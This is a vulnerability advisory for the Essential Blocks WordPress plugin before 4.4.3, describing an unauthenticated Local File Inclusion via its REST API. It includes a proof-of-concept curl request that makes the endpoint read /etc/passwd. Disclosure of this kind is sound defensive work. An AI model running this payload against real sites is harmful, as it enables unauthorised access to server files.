WordPress Plugin Vulnerabilities

Essential Blocks < 4.4.3 - Unauthenticated Local File Inclusion

Description

The plugin does not prevent unauthenticated attackers from overwriting local variables when rendering templates over the REST API, which may lead to Local File Inclusion attacks.

Proof of Concept

curl --url 'http://vulnerable-site.tld/wp-json/essential-blocks/v1/queries?block_type=nonexisting_block&query_data=%7B%22source%22%3A+%22post%22%7D&attributes=%7B%22__file%22%3A+%22%2Fetc%2Fpasswd%22%7D'

Affects Plugins

Fixed in 4.4.3

References

Classification

Type
LFI
OWASP top 10
CWE

Miscellaneous

Original Researcher
Marc Montpas
Submitter
Marc Montpas
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-21 (about 4 months ago)
Added
2023-12-21 (about 4 months ago)
Last Updated
2023-12-21 (about 4 months ago)

Other